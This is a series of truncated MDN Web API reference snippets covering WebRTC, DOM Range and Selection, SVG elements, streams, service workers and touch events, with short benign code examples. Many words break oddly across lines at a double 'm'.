...on: pc.localdescription }); } catch(err) { reporterror(err); } } this begins by creating an offer by calling createoffer(); when that succeeds, we call setlocaldescription(). we can then send the newly-created offer along to the other peer using the signaling server, which here is done by calling a function called signalremotepeer(). specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.setlocaldescription()' in that specification. candidate reco
mmendation initial specification. ...
RTCPeerConnection.setRemoteDescription() - Web APIs
n offer or answer from another peer over the signaling server. keep in mind that if setremotedescription() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions). because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setremotedescription() does not i
mmediately take effect. instead, the current connection configuration remains in place until negotiation is complete. only then does the agreed-upon configuration take effect. syntax apromise = rtcpeerconnection.setremotedescription(sessiondescription); parameters sessiondescription an rtcsessiondescriptioninit or rtcsessiondescription which specifies the remote peer's current offer or answe...
... layer what configuration the caller has proposed using. when our promise fulfillment handler is called, indicating that this has been done, we create a stream, add it to the connection, then create an sdp answer and call setlocaldescription() to set that as the configuration at our end of the call before forwarding that answer to the caller. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.setremotedescription()' in that specification. candidate reco
mmendation initial specification. ...
RTCPeerConnectionIceErrorEvent.address - Web APIs
the error which occurred involved this address. syntax let address = rtcpeerconnectioniceerrorevent.address; value a domstring which specifies the local ip address of the network connection to the ice server with which negotiations were occurring when the error occurred. this address identifies the network interface on the local device which is being used to attempt to establish the connection to the remote peer. ...
...he connection, then calls a function to display those as well as the event's errortext property's contents. pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification. candidate reco
mmendation initial definition. ...
RTCRtpReceiver.transport - Web APIs
een established. ...
...ng is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple receivers may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcrtpreceiver.transport' in that specification. candidate reco
mmendation ...
RTCRtpSender.getParameters() - Web APIs
...
... the current set of parameters, to ensure that calls to setparameters() are always handled in the correct order, avoiding inadvertently overwriting parameters with older parameters. function getsendertransactionid(sender) { let parameters = sender.getparameters(); return parameters.transactionid; } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'getparameters()' in that specification. candidate reco
mmendation initial definition. ...
RTCRtpSender.transport - Web APIs
been established. ...
...ling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple senders may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcrtpsender.transport' in that specification. candidate reco
mmendation ...
RTCRtpStreamStats.ssrc - Web APIs
stats dictionary. syntax var ssrc = rtcrtpstreamstats.ssrc; value the synchronization source (ssrc) is a 32-bit integer uniquely identifying the source of the rtp packets whose statistics are covered by the rtcstatsreport object of which this rtcrtpstreamstats object is a component. the manner in which these values are generated is not mandated by the specification, although it does make reco
mmendations. you should not make any assumptions based on the value of ssrc other than that any two objects with the same ssrc value refer to the same source. see rfc 3550, section 8 for additional information about ssrc. note: the specification includes an example that generates values for ssrc using md5. while not part of the standard, exactly, it is a good mechanism that may be used by some bro...
...ication includes an example that generates values for ssrc using md5. while not part of the standard, exactly, it is a good mechanism that may be used by some browsers; others may use other methods, such as random number generators. do not rely upon these values meaning anything other than "these objects are associated with the same source." specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.ssrc' in that specification. candidate reco
mmendation initial definition. ...
RTCRtpSynchronizationSource.voiceActivityFlag - Web APIs
...
...which is true if voice activity is present in the most recently received rtp packet played by the associated source, or false if voice activity is not present. this property is omitted entirely if voice activity detection is not enabled on the source, or if the rfc 6464 extension header isn't present. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'voiceactivityflag' in that specification. candidate reco
mmendation initial definition. ...
RTCStatsReport - Web APIs
h to obtain statistics for outbound, inbound, or all streams on the connection. the rtcrtpreceiver and rtcrtpsender versions of getstats() specifically only return statistics available to the incoming or outgoing stream on which you call them. the statistics objects for each category of statistic information, there is a dictionary whose properties provide the relevant information. properties co
mmon to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats. timestamp a domhighr...
...es statistics related to a particular mediastreamtrack's attachment to an rtcrtpsender; also included are the media level metrics that go along with the track. transport an object that contains statistics related to a transport for an rtcpeerconnection. the object is of type rtctransportstats. using rtcstatsreport ... coming soon-ish ... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcstatsreport' in that specification. candidate reco
mmendation initial specification. ...
RTCTrackEvent.receiver - Web APIs
...
...crtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the transceiver includes its own receiver property, which will always be the same rtcrtpreceiver as this one. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtctrackevent.receiver' in that specification. candidate reco
mmendation initial specification. ...
RTCTrackEvent.streams - Web APIs
...
...ckevent's read-only streams property specifies an array of mediastream objects, one for each of the streams that comprise the track being added to the rtcpeerconnection. syntax var streams = trackevent.streams; value an array of mediastream objects, one for each stream that make up the new track. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtctrackevent.streams' in that specification. candidate reco
mmendation initial specification. ...
RTCTrackEventInit.receiver - Web APIs
...
...crtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the transceiver includes its own receiver property, which will always be the same rtcrtpreceiver as this one. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtctrackeventinit.receiver' in that specification. candidate reco
mmendation initial specification. ...
RTCTrackEventInit.transceiver - Web APIs
the rtctrackeventinit dictionary's transceiver property specifies the rtcrtptransceiver associated with the track event. the transceiver pairs the track's receiver with an rtcrtpsender to allow bidirectional co
mmunication. syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtptransceiver = trackeventinit.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. specifications specification...
...value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtctrackeventinit.transceiver' in that specification. candidate reco
mmendation initial specification. ...
Range.comparePoint() - Web APIs
for other node types, offset is the number of child nodes between the start of the reference node. syntax returnvalue = range.comparepoint(referencenode, offset) parameters referencenode the node to compare with the range. ...
...rs referencenode the node to compare with the range. offset an integer greater than or equal to zero representing the offset inside the referencenode. example range = document.createrange(); range.selectnode(document.getelementsbytagname('div').item(0)); returnvalue = range.comparepoint(document.getelementsbytagname('p').item(0), 1); specification specification status co
mment domthe definition of 'range.comparepoint()' in that specification. living standard initial specification. ...
Range.endOffset - Web APIs
the range.endoffset read-only property returns a number representing where in the range.endcontainer the range ends. if the endcontainer is a node of type text, co
mment, or cdatasection, then the offset is the number of characters from the start of the endcontainer to the boundary point of the range. for other node types, the endoffset is the number of child nodes between the start of the endcontainer and the boundary point of the range. this property is read-only. to change the endoffset of a range, use one of the range.setend methods. ...
...container and the boundary point of the range. this property is read-only. to change the endoffset of a range, use one of the range.setend methods. syntax endrangeoffset = range.endoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); endrangeoffset = range.endoffset; specifications specification status co
mment domthe definition of 'range.endoffset' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.endoffset' in that specification. obsolete initial specification. ...
Range.extractContents() - Web APIs
e: 1.2em; padding: .5em; pointer-events: auto; } javascript const list1 = document.getelementbyid('list1'); const list2 = document.getelementbyid('list2'); const button = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.co
mmonancestorcontainer === list1 || range.co
mmonancestorcontainer.parentnode === list1) { const documentfragment = range.extractcontents(); list2.appendchild(documentfragment); } else if (range.co
mmonancestorcontainer === list2 || range.co
mmonancestorcontainer.parentnode === list2) { const documentfragment = range.extractcontents(); list1.appendchild(docume...
... living standard no change. ...
Range.setStart() - Web APIs
for other node types, startoffset is the number of child nodes between the start of the startnode. setting the start point below (lower in the document) the end point will result in a collapsed range with the start and end points both set to the specified start position. syntax range.setstart(startnode, startoffset); parameters startnode the node where the range should start. ...
... living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.setstart()' in that specification. obsolete initial specification. ...
Range.startOffset - Web APIs
the range.startoffset read-only property returns a number representing where in the startcontainer the range starts. if the startcontainer is a node of type text, co
mment, or cdatasection, then the offset is the number of characters from the start of the startcontainer to the boundary point of the range. for other node types, the startoffset is the number of child nodes between the start of the startcontainer and the boundary point of the range. to change the startoffset of a range, use the range.setstart method. ...
... start of the startcontainer and the boundary point of the range. to change the startoffset of a range, use the range.setstart method. syntax startrangeoffset = range.startoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); var startrangeoffset = range.startoffset; specifications specification status co
mment domthe definition of 'range.startoffset' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.startoffset' in that specification. obsolete initial specification. ...
Range - Web APIs
ge() method. range objects can also be retrieved by using the getrangeat() method of the selection object or the caretrangefrompoint() method of the document object. there also is the range() constructor available. properties there are no inherited properties. range.collapsed read only returns a boolean indicating whether the range's start and end points are at the same position. range.co
mmonancestorcontainer read only returns the deepest node that contains the startcontainer and endcontainer nodes. range.endcontainer read only returns the node within which the range ends. range.endoffset read only returns a number representing where in the endcontainer the range ends. range.startcontainer read only returns the node within which the range starts. range.startoffset read o...
....getclientrects() returns a list of domrect objects that aggregates the results of element.getclientrects() for all the elements in the range. range.intersectsnode() returns a boolean indicating whether the given node intersects the range. range.ispointinrange() returns a boolean indicating whether the given point is in the range. specifications specification status co
mment domthe definition of 'range' in that specification. living standard do not use rangeexception anymore, use domexception instead. made the second parameter of collapse() optional. added the methods ispointinrange(), comparepoint(), and intersectsnode(). added the constructor range(). dom parsing and serializationthe definition of 'extensions to range' in ...
ReadableStream.ReadableStream() - Web APIs
onstructor creates and returns a readable stream object from the given handlers. syntax var readablestream = new readablestream(underlyingsource[, queuingstrategy]); parameters underlyingsource an object containing methods and properties that define how the constructed stream instance will behave. underlyingsource can contain the following: start(controller) this is a method, called i
mmediately when the object is constructed. the contents of this method are defined by the developer, and should aim to get access to the stream source, and do anything else required to set up the stream fuctionality. if this process is to be done asynchronously, it can return a promise to signal success or failure. the controller parameter passed to this method is a readablestreamdefaultcontroller o...
... living standard initial definition. ...
RelativeOrientationSensor - Web APIs
...
...> { if (results.every(result => result.state === "granted")) { sensor.start(); ... } else { console.log("no permissions to use relativeorientationsensor."); } }); specifications specification status co
mment orientation sensorthe definition of 'relativeorientationsensor' in that specification. candidate reco
mmendation initial definition. ...
SVGImageElement.height - Web APIs
...
...height read-only property of the svgimageelement interface returns an svganimatedlength corresponding to the height attribute of the given <image> element. syntax var height = svgimageelement.height value an svganimatedlength. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'height' in that specification. candidate reco
mmendation initial definition. ...
SVGImageElement - Web APIs
ead only an svganimatedlength corresponding to the y attribute of the given <image> element. methods this interface also inherits methods from its parent interface, svggraphicselement. svgimageelement.decode() initiates asynchronous decoding of the image data. returns a promise which resolves once the image data is ready to be used. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgimageelement' in that specification. candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement, removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable and added the crossorigin property. scalable vector graphics (svg) 1.1...
... that specification. candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement, removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable and added the crossorigin property. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgimageelement' in that specification. ...
SVGLineElement - Web APIs
turns an svganimatedlength that corresponds to attribute x2 on the given <line> element. svglineelement.y2 read only returns an svganimatedlength that corresponds to attribute y2 on the given <line> element. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggeometryelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svglineelement' in that specification. candidate reco
mmendation changed the inheritance from svgelement to svggeometryelement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable. scalable vector graphics (svg) 1.1 (second edition)the definition o...
...definition of 'svglineelement' in that specification. candidate reco
mmendation changed the inheritance from svgelement to svggeometryelement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable. ...
SVGMPathElement - Web APIs
t</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
...rom its parent interface, svgelement. specifications specification status co
mment svg animations level 2the definition of 'svgmpathelement' in that specification. editor's draft removed the implemented interface svgexternalresourcesrequired. ...
SVGPathElement.getPointAtLength() - Web APIs
note: in svg 2 this property was moved to the svggeometryelement interface, from which the svgpathelement inherits it. ...
...t.getpointatlength(float distance); parameters distance a float referring to the distance along the path. ...
SVGPathElement.getTotalLength() - Web APIs
gth() method returns the user agent's computed value for the total length of the path in user units. ...
...vggeometryelement interface, from which the svgpathelement inherits it. ...
SVGPathElement.pathLength - Web APIs
the svgpathelement.pathlength property reflects the pathlength attribute and returns the total length of the path, in user units. ...
...h of the path, in user units. note: in svg 2 this property was moved to the svggeometryelement interface, from which the svgpathelement inherits it. ...
SVGPathElement - Web APIs
and-alone, parentless svgpathsegcurvetocubicsmoothrel object. svgpathelement.createsvgpathsegcurvetoquadraticsmoothabs() returns a stand-alone, parentless svgpathsegcurvetoquadraticsmoothabs object. svgpathelement.createsvgpathsegcurvetoquadraticsmoothrel() returns a stand-alone, parentless svgpathsegcurvetoquadraticsmoothrel object. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgpathelement' in that specification. candidate reco
mmendation removed the getpathsegatlength() and createsvgpathseg* methods and moved the pathlength property and the gettotallength() and getpointatlength() methods to svggeometryelement. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelem...
...cs (svg) 2the definition of 'svgpathelement' in that specification. candidate reco
mmendation removed the getpathsegatlength() and createsvgpathseg* methods and moved the pathlength property and the gettotallength() and getpointatlength() methods to svggeometryelement. ...
SVGRenderingIntent - Web APIs
ve-colorimetric. rendering_intent_saturation 4 corresponds to the value saturation. ...
...olorimetric 5 corresponds to the value absolute-colorimetric. properties this interface doesn't implement any specific properties. ...
SVGSetElement - Web APIs
</div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svganimationelement. ...
...ment any specific methods, but inherits methods from its parent interface, svganimationelement. specifications specification status co
mment svg animations level 2the definition of 'svgsetelement' in that specification. ...
SVGSwitchElement - Web APIs
g></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgswitchelement' in that specification. candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable. scalable vector graphics (svg) 1.1 (second edition)the definition...
...nition of 'svgswitchelement' in that specification. candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable. ...
SVGSymbolElement - Web APIs
face doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement, and implements properties from svgfittoviewbox. methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement, and implements methods from svgfittoviewbox. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgsymbolelement' in that specification. candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svglangspace, svgexternalresourcesrequired, and svgstylable. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgsymbolelement' in th...
...tor graphics (svg) 2the definition of 'svgsymbolelement' in that specification. candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svglangspace, svgexternalresourcesrequired, and svgstylable. ...
SVGURIReference - Web APIs
to support it, the deprecated xlink:href attribute. on getting href, an svganimatedstring object is returned that reflects the href attribute, and if the element is defined to support the deprecated xlink:href attribute, additionally reflects that deprecated attribute. methods this interface does not provide any specific methods. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgurireference' in that specification. candidate reco
mmendation replaced the deprecated xlink:href attribute reference by the href attribute and made the prior only be reflected where it's defined to be supported. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgurireference' in that specificati...
... scalable vector graphics (svg) 2the definition of 'svgurireference' in that specification. candidate reco
mmendation replaced the deprecated xlink:href attribute reference by the href attribute and made the prior only be reflected where it's defined to be supported. ...
Screen.orientation - Web APIs
tion representing the orientation of the screen. note that older, prefixed versions returned a domstring equivalent to screenorientation.type. ...
.... example var orientation = (screen.orientation || {}).type || screen.mozorientation || screen.msorientation; if (orientation === "landscape-primary") { console.log("that looks good."); } else if (orientation === "landscape-secondary") { console.log("
mmmh... the screen is upside down!"); } else if (orientation === "portrait-secondary" || orientation === "portrait-primary") { console.log("
mmmh... you should rotate your device to landscape"); } else if (orientation === undefined) { console.log("the orientation api isn't supported in this browser :("); } specifications specification status co
mment screen orientation apithe definition of 'orientation' in that specification. working draft initial definition ...
ScriptProcessorNode - Web APIs
udiocontext.createscriptprocessor() method is called (both are defined by audiocontext.createscriptprocessor()'s buffersize parameter). the buffer size must be a power of 2 between 256 and 16384, that is 256, 512, 1024, 2048, 4096, 8192 or 16384. small numbers lower the latency, but large number may be necessary to avoid audio breakup and glitches. if the buffer size is not defined, which is reco
mmended, the browser will pick one that its heuristic deems appropriate. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" properties inherits properties from its parent, audionode. scriptprocessornode.buffersize read only retu...
... working draft ...
Selection.containsNode() - Web APIs
alue false is used. example check for selection this snippet checks whether anything inside the body element is selected. console.log(window.getselection().containsnode(document.body, true)); find the hidden word in this example, a message appears when you select the secret word. it uses addeventlistener() to check for selectionchange events. ...
... working draft current ...
Selection.setBaseAndExtent() - Web APIs
ode that should be included in the selection. so for example, if the value is 0 the whole node is excluded. if the value is 1, the first child node is included. and so on. note: if the focus position appears before the anchor position in the document, the direction of the selection is reversed — the caret is placed at the beginning of the text rather the end, which matters for any keyboard co
mmand that might follow. for example, shift + ➡︎ would cause the selection to narrow from the beginning rather than grow at the end. return value void. exceptions if anchoroffset is larger than the number of child nodes inside anchornode, or if focusoffset is larger than the number of child nodes inside focusnode, an indexsizeerror exception is thrown. examples in this example, we have tw...
... working draft ...
Selection - Web APIs
ion also requires the selection to always have a single range. selection and input focus selection and input focus (indicated by document.activeelement) have a complex relationship that varies by browser. in cross-browser compatible code, it's better to handle them separately. safari and chrome (unlike firefox) currently focus the element containing selection when modifying the selection progra
mmatically; it's possible that this may change in the future (see w3c bug 14383 and webkit bug 38696). behavior of selection api in terms of editing host focus changes the selection api has a co
mmon behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called. the behavior is as follows: an editing host gains focus if the p...
... is a contiguous part of a document. a range can contain entire nodes as well as portions of nodes (such as a portion of a text node). a user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g., by using the control key). a range can be retrieved from a selection as a range object. range objects can also be created via the dom and progra
mmatically added or removed from a selection. specifications specification status co
mment selection apithe definition of 'selection' in that specification. working draft the selection api specification is based on the html editing apis specification and focuses on the selection-related functionality. ...
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
the serviceworkerglobalscope.skipwaiting() method of the serviceworkerglobalscope forces the waiting service worker to become the active service worker. use this method with clients.claim() to ensure that updates to the underlying service worker take effect i
mmediately for both the current client and all other active clients. syntax serviceworkerglobalscope.skipwaiting().then(function() { //do something }); returns a promise that i
mmediately resolves with undefined. example while self.skipwaiting() can be called at any point during the service worker's execution, it will only have an effect if there's a newly installed service worker that might otherwise remain in the waiting state. therefore, it's co
mmon to call self.skipwaiting() from inside of an installevent handler. the follo...
...tate, regardless of whether there is already an active service worker. self.addeventlistener('install', function(event) { // the promise that skipwaiting() returns can be safely ignored. self.skipwaiting(); // perform any other actions required for your // service worker to install, potentially inside // of event.waituntil(); }); specifications specification status co
mment service workersthe definition of 'skipwaiting()' in that specification. working draft initial definition. ...
ServiceWorkerGlobalScope - Web APIs
scope.onpush property. pushsubscriptionchange occurs when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time). also available via the serviceworkerglobalscope.onpushsubscriptionchange property. sync triggered when a call to syncmanager.register is made from a service worker client page. the attempt to sync is made either i
mmediately if the network is available or as soon as the network becomes available. also available via the serviceworkerglobalscope.onsync property. methods serviceworkerglobalscope.skipwaiting() allows the current service worker registration to progress from waiting to active state while service worker clients are using it. serviceworkerglobalscope implements workerglobalscope — which im...
...nsole.log('no response found in cache. about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }, function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status co
mment service workersthe definition of 'serviceworkerglobalscope' in that specification. working draft initial definition ...
ServiceWorkerRegistration.unregister() - Web APIs
finish any ongoing operations before it is unregistered. note: this feature is available in web workers. syntax serviceworkerregistration.unregister().then(function(boolean) { }); parameters none. return value promise resolves with a boolean indicating whether the service worker has unregistered or not. ...
... working draft initial definition. ...
SharedWorker - Web APIs
sharedworker() creates a shared web worker that executes the script at the specified url. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. abstractworker.onerror is an eventlistener that is called whenever an errorevent of type error bubbles through the worker. sharedworker.port read only returns a messageport object used to co
mmunicate with and control the shared worker. methods inherits methods from its parent, eventtarget, and implements methods from abstractworker. example in our basic shared worker example (run shared worker), we have two html pages, each of which uses some javascript to perform a simple calculation. the different scripts are using the same worker file to perform the calculation — they can ...
...es sent from the main threads. onconnect = function(e) { var port = e.ports[0]; port.addeventlistener('message', function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); }); port.start(); // required when using addeventlistener. otherwise called implicitly by onmessage setter. } specifications specification status co
mment html living standardthe definition of 'sharedworker' in that specification. living standard no change from unknown. ...
SharedWorkerGlobalScope - Web APIs
s any tasks queued in the workerglobalscope's event loop, effectively closing this particular scope. workerglobalscope.dump() allows you to write a message to stdout — i.e. in your terminal. this is the same as firefox's window.dump, but for workers. workerglobalscope.importscripts() imports one or more scripts into the worker's scope. you can specify as many as you'd like, separated by co
mmas. for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding. windowbase64.btoa() creates a base-64 encoded ascii string from a string of binary data. windowtimers.clearinterval() cancels the repeated execution set using windowtimers.setinterval(). windowtimers.cleartimeout() ...
... function every x milliseconds. windowtimers.settimeout() sets a delay for executing a function. events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface. connect fired on shared workers when a new client connects. also available via the onconnect property. specifications specification status co
mment html living standardthe definition of 'sharedworkerglobalscope' in that specification. living standard ...
SourceBuffer.abort() - Web APIs
ption of abort() is somewhat confusing — consider for example step 1 of reset parser state. the mse api is fully asynchronous, but this step seems to suggest a synchronous (blocking) operation, which doesn't make sense. saying that, current implementations can be useful in certain situations, when you want to stop the current append (or whatever) operation occuring on a sourcebuffer, and then i
mmediately start performing operations on it again. for example, consider this code: sourcebuffer.addeventlistener('updateend', function (_) { ... }); sourcebuffer.appendbuffer(buf); let's say that after the call to appendbuffer but before the updateend event fires (i.e. a buffer is being appended but the operation has not yet completed) a user "scrubs" the video seeking to a new point in time.
...t fires. in lines 92-101, the seek() function is defined — note that abort() is called if mediasource.readystate is set to open, which means that it is ready to receive new source buffers — at this point it is worth aborting the current segment and just getting the one for the new seek position (see checkbuffer() and getcurrentsegment().) specifications specification status co
mment media source extensionsthe definition of 'abort()' in that specification. reco
mmendation initial definition. ...
SourceBuffer.audioTracks - Web APIs
...
...audiotracks read-only property of the sourcebuffer interface returns a list of the audio tracks currently contained inside the sourcebuffer. syntax var myaudiotracks = sourcebuffer.audiotracks; value an audiotracklist object. example tbd specifications specification status co
mment media source extensionsthe definition of 'audiotracks' in that specification. reco
mmendation initial definition. ...
SourceBuffer.remove() - Web APIs
...
...urce.duration, or the end parameter is less than or equal to start or equal to nan. invalidstateerror the sourcebuffer.updating property is equal to true, or this sourcebuffer has been removed from the mediasource. example tbd. specifications specification status co
mment media source extensionsthe definition of 'remove()' in that specification. reco
mmendation initial definition. ...
TextDecoder.prototype.encoding - Web APIs
the textdecoder.prototype.encoding read-only property returns a domstring containing the name of the decoding algorithm used by the specific decoder. it can be one of the following values: the reco
mmended encoding for the web: 'utf-8'. the legacy single-byte encodings: 'ibm866', 'iso-8859-2', 'iso-8859-3', 'iso-8859-4', 'iso-8859-5', 'iso-8859-6', 'iso-8859-7', 'iso-8859-8'', 'iso-8859-8i', 'iso-8859-10', 'iso-8859-13', 'iso-8859-14', 'iso-8859-15', 'iso-8859-16', 'koi8-r', 'koi8-u', 'macintosh', 'windows-874', 'windows-1250', 'windows-1251', 'windows-1252', 'windows-1253', 'windows-1254', 'windows-1255', 'windows-1256', 'windows-1257', 'windows-1258', or 'x-mac-cyrillic'. the legacy multi-byte chinese (simplified) encodings: 'gbk', 'gb18030', and 'hz-gb-2312'. the legacy multi-byt...
...r'. the legacy miscelleanous encodings: 'utf-16be', 'utf-16le', and 'x-user-defined'. a special encoding, 'replacement', which only emits an error and an eof code point. it is used to prevent attacks that mismatch encodings between the client and server. it can happen with iso-2022-cn and iso-2022-cn-ext. syntax var b = decoder.decoding; specifications specification status co
mment encodingthe definition of 'textdecoder.encoding' in that specification. living standard initial definition. ...
TextTrackCue - Web APIs
me a double that represents the video time that the cue will stop being displayed, in seconds. texttrackcue.pauseonexit a boolean for whether the video will pause when this cue stops being displayed. ...
... displayed. event handlers texttrackcue.onenter the event handler for the enter event. texttrackcue.onexit the event handler for the exit event. ...
Touch.identifier - Web APIs
...
...uch points that changed // since the last event and print each touch point's identifier. for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status co
mment touch events – level 2 draft no change. touch events reco
mmendation initial definition. ...
Touch.screenX - Web APIs
syntax var x = touchitem.screenx; return value x the x coordinate of the touch point relative to the screen, not including any scroll offset. example this example illustrates how to access the touch object's touch.screenx and touch.screeny properties. the touch.screenx property is the horizontal (x) coordinate of a touch point relative to the screen in css pixels. the touch.screeny property is the vertical coordinate of a touch point relative to the screen in css pixels. in following simple code snippet, we assume the user initiates multiple touch contacts on an element with an id of source and then releases contacts with the surface. ...
...e) { // iterate through the touch points and log each screenx/y coordinate. // the unit of each coordinate is css pixels. var i; for (i=0; i < e.touches.length; i++) { console.log("touchpoint[" + i + "].screenx = " + e.touches[i].screenx); console.log("touchpoint[" + i + "].screeny = " + e.touches[i].screeny); } }, false); specifications specification status co
mment touch events – level 2 draft non-stable version. touch events reco
mmendation initial definition. ...
Touch - Web APIs
the touch.radiusx, touch.radiusy, and touch.rotationangle describe the area of contact between the user and the screen, the touch area. this can be helpful when dealing with imprecise pointing devices such as fingers. these values are set to describe an ellipse that as closely as possible matches the entire area of contact (such as the user's fingertip). ...
...to most accurately cover the area of contact between the user and the surface. touch.forceread only returns the amount of pressure being applied to the surface by the user, as a float between 0.0 (no pressure) and 1.0 (maximum pressure). methods this interface has no method and no parent, and doesn't inherits or implements any method. specifications specification status co
mment touch events – level 2the definition of 'touch' in that specification. draft added radiusx, radiusy, rotationangle, force properties, as well as the touch() constructor. touch eventsthe definition of 'touch' in that specification. reco
mmendation initial definition. ...
TouchEvent.altKey - Web APIs
if the alt key is enabled, the attribute's value is true. otherwise, it is false. this property is read only . syntax var altenabled = touchevent.altkey; return value altenabled true if the alt key is enabled for this event; and false if the alt is not enabled. example this example illustrates how to access the touchevent key modifier properties: touchevent.altkey, touchevent.ctrlkey, touchevent.metakey and touchevent.shiftkey. in following code snippet, the touchstart event handler logs the state of the event's modifier keys. ...
...nt handler logs the state of the event's modifier keys. someelement.addeventlistener('touchstart', function(e) { // log the state of this event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status co
